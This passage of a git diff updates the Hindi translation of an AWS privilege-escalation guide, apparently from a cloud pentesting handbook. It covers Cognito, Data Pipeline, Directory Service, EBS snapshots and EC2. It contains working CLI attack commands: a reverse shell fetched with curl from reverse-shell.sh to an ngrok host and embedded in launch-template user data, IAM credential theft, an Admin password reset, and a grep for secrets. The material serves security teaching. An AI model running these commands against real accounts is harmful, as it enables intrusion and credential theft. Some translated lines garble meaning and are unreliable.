भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के कारण अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क। +**संभावित प्रभाव:** प्रमाणित उपयोगकर्ताओं के लिए पहचान पूल IAM भूमिका तक सीधा प्रिवेस्क। किसी भी उपयोगकर्ता को बनाने की क्षमता के साथ अन्य ऐप कार्यक्षमताओं तक अप्रत्यक्ष प्रिवेस्क। ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` @@ -234,16 +234,16 @@ aws cognito-idp create-identity-provider \ ### cognito-sync:\* विश्लेषण -यह पहचान पूल की भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**। +यह पहचान पूल के भूमिकाओं में डिफ़ॉल्ट रूप से एक बहुत सामान्य अनुमति है। भले ही अनुमतियों में वाइल्डकार्ड हमेशा बुरा लगता है (विशेष रूप से AWS से आने पर), **दी गई अनुमतियाँ हमलावर के दृष्टिकोण से सुपर उपयोगी नहीं हैं**। यह अनुमति पहचान पूल और पहचान आईडी के भीतर उपयोग जानकारी पढ़ने की अनुमति देती है (जो संवेदनशील जानकारी नहीं है)।\ -पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजे गए खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**गणना पृष्ठ**](../aws-services/aws-cognito-enum/) में देख सकते हैं। +पहचान आईडी में [**डेटासेट्स**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) असाइन किए जा सकते हैं, जो सत्रों की जानकारी होती है (AWS इसे **सहेजी गई खेल** के रूप में परिभाषित करता है)। यह संभव है कि इसमें कुछ प्रकार की संवेदनशील जानकारी हो (लेकिन संभावना काफी कम है)। आप इस जानकारी तक पहुँचने के लिए [**enumeration page**](../aws-services/aws-cognito-enum/) पर देख सकते हैं। -एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले एक Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले एक लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है। +एक हमलावर इन अनुमतियों का उपयोग करके **इन डेटासेट्स पर परिवर्तन प्रकाशित करने वाले Cognito स्ट्रीम में खुद को नामांकित कर सकता है** या **cognito घटनाओं पर ट्रिगर होने वाले लैम्ब्डा** का उपयोग कर सकता है। मैंने इसे उपयोग में नहीं देखा है, और मैं यहाँ संवेदनशील जानकारी की अपेक्षा नहीं करूंगा, लेकिन यह असंभव नहीं है। ### स्वचालित उपकरण -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है। +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताओं का उपयोग करने के लिए पहुँच नियंत्रण, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और संशोधित कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं के आधार पर प्रिवेस्क को भी स्वचालित करता है। मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें। @@ -255,11 +255,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि एकत्र करने के लिए: +सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है जिसमें privesc escalation शामिल है। +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें privesc escalation भी शामिल है। #### Installation ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 7b6601af4..f11c68f65 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -12,11 +12,11 @@ datapipeline के बारे में अधिक जानकारी ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनमाने आदेशों को निष्पादित किया जा सके:** +इन **अनुमतियों वाले उपयोगकर्ता एक Data Pipeline बनाकर विशेषाधिकार बढ़ा सकते हैं** ताकि **नियुक्त भूमिका की अनुमतियों का उपयोग करके मनचाहे आदेश निष्पादित कर सकें:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` -पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अपडेट करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण को निर्धारित किया जा सके: +पाइपलाइन बनाने के बाद, हमलावर इसकी परिभाषा को अद्यतन करता है ताकि विशिष्ट क्रियाएँ या संसाधन निर्माण निर्धारित किए जा सकें: ```json { "objects": [ @@ -52,12 +52,12 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string > [!NOTE] > ध्यान दें कि **लाइन 14, 15 और 27** में **भूमिका** एक भूमिका होनी चाहिए जो **datapipeline.amazonaws.com** द्वारा ग्रहण की जा सके और **लाइन 28** में भूमिका एक **भूमिका होनी चाहिए जो ec2.amazonaws.com द्वारा ग्रहण की जा सके जिसमें एक EC2 प्रोफ़ाइल इंस्टेंस हो**। > -> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुंच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (इसलिए आप केवल वही चुरा सकते हैं)। +> इसके अलावा, EC2 इंस्टेंस केवल उस भूमिका तक पहुँच रखेगा जो EC2 इंस्टेंस द्वारा ग्रहण की जा सके (तो आप केवल वही चुरा सकते हैं)। ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हैं ताकि संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त किया जा सके।** +**पाइपलाइन परिभाषा फ़ाइल, जिसे हमलावर द्वारा तैयार किया गया है, में आदेश निष्पादित करने या AWS API के माध्यम से संसाधन बनाने के लिए निर्देश शामिल हैं, जो डेटा पाइपलाइन की भूमिका अनुमतियों का लाभ उठाते हुए संभावित रूप से अतिरिक्त विशेषाधिकार प्राप्त कर सकते हैं।** **संभावित प्रभाव:** निर्दिष्ट ec2 सेवा भूमिका के लिए प्रत्यक्ष विशेषाधिकार वृद्धि। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index d44e9fa14..8c03c7f4c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -17,7 +17,7 @@ ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` -### AWS Management Console +### AWS प्रबंधन कंसोल यह संभव है कि एक **ऐप्लिकेशन एक्सेस URL** सक्षम किया जाए जिसे AD के उपयोगकर्ता लॉगिन करने के लिए एक्सेस कर सकें: diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index d1980ae3e..e9f04c7ea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ dynamodb के बारे में अधिक जानकारी के ### Post Exploitation -जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचारित हैं: +जितना मुझे पता है, AWS में केवल कुछ AWS `dynamodb` अनुमतियों के साथ विशेषाधिकार बढ़ाने का **कोई सीधा तरीका नहीं है**। आप तालिकाओं से **संवेदनशील** जानकारी पढ़ सकते हैं (जिसमें AWS क्रेडेंशियल्स हो सकते हैं) और तालिकाओं पर **जानकारी लिख सकते हैं** (जो अन्य कमजोरियों को ट्रिगर कर सकता है, जैसे कि लैम्ब्डा कोड इंजेक्शन...) लेकिन ये सभी विकल्प पहले से ही **DynamoDB Post Exploitation पृष्ठ** में विचार किए गए हैं: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 091e5bb7e..690029e8c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,7 +6,7 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका खोजें: +एक हमलावर जिसके पास ये होंगे, वह संभावित रूप से **स्थानीय रूप से वॉल्यूम स्नैपशॉट डाउनलोड और विश्लेषण** कर सकेगा और उनमें संवेदनशील जानकारी (जैसे कि रहस्य या स्रोत कोड) की खोज कर सकेगा। इसे करने का तरीका जानें: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md @@ -20,7 +20,7 @@ ### **`ec2:CreateSnapshot`** -कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण पर माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है। +कोई भी AWS उपयोगकर्ता जिसके पास **`EC2:CreateSnapshot`** अनुमति है, वह **डोमेन कंट्रोलर का स्नैपशॉट** बनाकर सभी डोमेन उपयोगकर्ताओं के हैश चुरा सकता है, इसे एक ऐसे उदाहरण में माउंट करके जिसे वह नियंत्रित करता है और **NTDS.dit और SYSTEM** रजिस्ट्री हाइव फ़ाइल को Impacket के secretsdump प्रोजेक्ट के लिए निर्यात कर सकता है। आप इस हमले को स्वचालित करने के लिए इस उपकरण का उपयोग कर सकते हैं: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) या आप स्नैपशॉट बनाने के बाद पिछले तकनीकों में से एक का उपयोग कर सकते हैं। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 8ed4c1787..27bc50383 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +**EC2 के बारे में अधिक जानकारी** के लिए देखें: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,17 +12,17 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +एक हमलावर **एक IAM भूमिका संलग्न करते हुए एक उदाहरण बना सकता है और फिर उदाहरण तक पहुँच सकता है** ताकि IAM भूमिका क्रेडेंशियल्स को मेटाडेटा एंडपॉइंट से चुराया जा सके। - **SSH के माध्यम से पहुँच** -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +एक **बनाई गई** **ssh कुंजी** (`--key-name`) का उपयोग करके एक नया उदाहरण चलाएँ और फिर इसमें ssh करें (यदि आप एक नया बनाना चाहते हैं तो आपको `ec2:CreateKeyPair` अनुमति की आवश्यकता हो सकती है)। ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ --iam-instance-profile Name= --key-name \ --security-group-ids ``` -- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुंच** +- **उपयोगकर्ता डेटा में रिव शेल के माध्यम से पहुँच** आप एक नया उदाहरण चला सकते हैं जो एक **उपयोगकर्ता डेटा** (`--user-data`) का उपयोग करेगा जो आपको एक **रिव शेल** भेजेगा। इस तरीके से आपको सुरक्षा समूह निर्दिष्ट करने की आवश्यकता नहीं है। ```bash @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -गुराड ड्यूटी के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं: +GuradDuty के साथ सावधान रहें यदि आप IAM भूमिका के क्रेडेंशियल्स का उपयोग करते हैं जो इंस्टेंस के बाहर हैं: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ #### ECS तक पहुँच -इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं** जो जुड़ी हुई हैं। +इन अनुमतियों के सेट के साथ, आप **एक EC2 इंस्टेंस बना सकते हैं और इसे एक ECS क्लस्टर के अंदर पंजीकृत कर सकते हैं**। इस तरह, ECS **सेवाएँ** **EC2 इंस्टेंस** के अंदर **चलाई जाएंगी** जहाँ आपके पास पहुँच है और फिर आप उन सेवाओं (डॉकर कंटेनरों) में प्रवेश कर सकते हैं और **उनकी ECS भूमिकाएँ चुरा सकते हैं**। ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -59,20 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` -To learn how to **force ECS services to be run** in this new EC2 instance check: +ECS सेवाओं को इस नए EC2 इंस्टेंस में **चलाने के लिए मजबूर करने** के लिए जांचें: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +यदि आप **नया इंस्टेंस नहीं बना सकते** लेकिन आपके पास `ecs:RegisterContainerInstance` अनुमति है, तो आप क्लस्टर के अंदर इंस्टेंस को रजिस्टर कर सकते हैं और टिप्पणी की गई हमले को अंजाम दे सकते हैं। -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**संभावित प्रभाव:** कार्यों से जुड़े ECS भूमिकाओं के लिए सीधे प्रिवेस्क। ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. +पिछले परिदृश्य के समान, इन अनुमतियों के साथ एक हमलावर **एक समझौता किए गए इंस्टेंस की IAM भूमिका को बदल सकता है** ताकि वह नए क्रेडेंशियल चुरा सके।\ +चूंकि एक इंस्टेंस प्रोफाइल में केवल 1 भूमिका हो सकती है, यदि इंस्टेंस प्रोफाइल **पहले से ही एक भूमिका रखता है** (सामान्य मामला), तो आपको **`iam:RemoveRoleFromInstanceProfile`** की भी आवश्यकता होगी। ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -92,13 +92,13 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins इन अनुमतियों के साथ, एक उदाहरण से जुड़े उदाहरण प्रोफ़ाइल को बदलना संभव है, इसलिए यदि हमले ने पहले से ही एक उदाहरण तक पहुंच प्राप्त कर ली है, तो वह इससे जुड़े उदाहरण प्रोफ़ाइल भूमिकाओं के लिए क्रेडेंशियल चुराने में सक्षम होगा। -- यदि इसमें **एक उदाहरण प्रोफ़ाइल है**, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते हैं** \* +- यदि इसमें **एक उदाहरण प्रोफ़ाइल** है, तो आप **हटाने** के लिए उदाहरण प्रोफ़ाइल (`ec2:DisassociateIamInstanceProfile`) कर सकते हैं और **जोड़ सकते** हैं \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- या **बदले** **इंस्टेंस प्रोफाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \* +- या **प्रतिस्थापित** करें **इंस्टेंस प्रोफ़ाइल** को समझौता किए गए इंस्टेंस का (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id @@ -121,7 +121,7 @@ aws ec2 request-spot-instances \ ``` ### `ec2:ModifyInstanceAttribute` -एक हमलावर जिसके पास **`ec2:ModifyInstanceAttribute`** है, वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है। +एक हमलावर के पास **`ec2:ModifyInstanceAttribute`** है, जिससे वह इंस्टेंस के गुणों को संशोधित कर सकता है। इनमें, वह **उपयोगकर्ता डेटा को बदल सकता है**, जिसका अर्थ है कि वह इंस्टेंस को **मनमाना डेटा चलाने** के लिए बना सकता है। जिसका उपयोग **EC2 इंस्टेंस के लिए एक रिवर्स शेल प्राप्त करने** के लिए किया जा सकता है। ध्यान दें कि गुण केवल तब **संशोधित** किए जा सकते हैं जब इंस्टेंस **रुका हुआ** हो, इसलिए **अनुमतियाँ** **`ec2:StopInstances`** और **`ec2:StartInstances`**। ```bash @@ -164,7 +164,7 @@ aws ec2 start-instances --instance-ids $INSTANCE_ID ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **उपयोगकर्ता डेटा** में **rev shell** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और **rev shell** को निष्पादित करेगा। +एक हमलावर जिसके पास अनुमतियाँ **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` और `ec2:ModifyLaunchTemplate`** हैं, वह **एक नया लॉन्च टेम्पलेट संस्करण** बना सकता है जिसमें **यूजर डेटा में** **एक रिवर्स शेल** और **इस पर कोई भी EC2 IAM भूमिका** हो, डिफ़ॉल्ट संस्करण को बदल सकता है, और **कोई भी ऑटोस्केलर समूह** **जिसका उपयोग** उस **लॉन्च टेम्पलेट** द्वारा किया जा रहा है जो **नवीनतम** या **डिफ़ॉल्ट संस्करण** का उपयोग करने के लिए **कॉन्फ़िगर** किया गया है, वह **उस टेम्पलेट का उपयोग करके** **इंस्टेंस को फिर से चलाएगा** और रिवर्स शेल को निष्पादित करेगा। ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -178,11 +178,11 @@ aws ec2 modify-launch-template \ --launch-template-name bad_template \ --default-version 2 ``` -**संभावित प्रभाव:** एक अलग EC2 भूमिका में सीधे प्रिवेस्क। +**संभावित प्रभाव:** एक अलग EC2 भूमिका के लिए सीधे प्रिवेस्क। ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **यूजर डेटा** के अंदर **रिवर्स शेल** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और रिवर्स शेल का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है। +एक हमलावर जिसके पास अनुमतियाँ **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** हैं, वह **एक लॉन्च कॉन्फ़िगरेशन** **IAM भूमिका** और **उपयोगकर्ता डेटा** के अंदर **rev shell** के साथ **बना सकता है**, फिर उस कॉन्फ़िगरेशन से **एक ऑटोस्केलिंग समूह** बना सकता है और rev shell का **IAM भूमिका** चुराने के लिए इंतज़ार कर सकता है। ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,11 +202,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियों की आवश्यकता है `iam:PassRole` और `ec2:RunInstances`** (जो एक ज्ञात प्रिवेस्क है)। +अनुमतियों का सेट **`ec2:CreateLaunchTemplate`** और **`autoscaling:CreateAutoScalingGroup`** **IAM भूमिका में प्रिविलेजेस को बढ़ाने के लिए पर्याप्त नहीं हैं** क्योंकि लॉन्च कॉन्फ़िगरेशन या लॉन्च टेम्पलेट में निर्दिष्ट भूमिका को संलग्न करने के लिए **आपको अनुमतियाँ `iam:PassRole` और `ec2:RunInstances`** की आवश्यकता है (जो एक ज्ञात प्रिवेस्क है)। ### `ec2-instance-connect:SendSSHPublicKey` -एक हमलावर जिसके पास अनुमति है **`ec2-instance-connect:SendSSHPublicKey`** एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है। +एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSSHPublicKey`** है, वह एक उपयोगकर्ता को ssh कुंजी जोड़ सकता है और इसका उपयोग करके उसे एक्सेस कर सकता है (यदि उसके पास इंस्टेंस पर ssh एक्सेस है) या प्रिविलेजेस को बढ़ा सकता है। ```bash aws ec2-instance-connect send-ssh-public-key \ --instance-id "$INSTANCE_ID" \ @@ -217,9 +217,9 @@ aws ec2-instance-connect send-ssh-public-key \ ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -जिस हमलावर के पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक धारावाहिक कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि धारावाहिक सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है। +एक हमलावर जिसके पास अनुमति **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** है, वह **एक सीरियल कनेक्शन में ssh कुंजी जोड़ सकता है**। यदि सीरियल सक्षम नहीं है, तो हमलावर को इसे सक्षम करने के लिए अनुमति **`ec2:EnableSerialConsoleAccess`** की आवश्यकता होती है। -धारावाहिक पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है।** +सीरियल पोर्ट से कनेक्ट करने के लिए आपको **मशीन के अंदर एक उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड जानना भी आवश्यक है**। ```bash aws ec2 enable-serial-console-access @@ -231,9 +231,9 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws ``` -इस तरीके से privesc के लिए ज्यादा उपयोगी नहीं है क्योंकि आपको इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना होगा। +यह तरीका privesc के लिए इतना उपयोगी नहीं है क्योंकि इसे शोषण करने के लिए एक उपयोगकर्ता नाम और पासवर्ड जानना आवश्यक है। -**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य नहीं) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc। +**संभावित प्रभाव:** (अत्यधिक अप्रूव करने योग्य) चल रहे उदाहरणों से जुड़े EC2 IAM भूमिकाओं के लिए सीधे privesc। ### `describe-launch-templates`,`describe-launch-template-versions` @@ -250,11 +250,11 @@ echo done | grep -iE "aws_|password|token|api" done ``` -In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information. +उपरोक्त कमांड में, हालांकि हम कुछ पैटर्न (`aws_|password|token|api`) निर्दिष्ट कर रहे हैं, आप अन्य प्रकार की संवेदनशील जानकारी के लिए खोजने के लिए एक अलग regex का उपयोग कर सकते हैं। -Assuming we find `aws_access_key_id` and 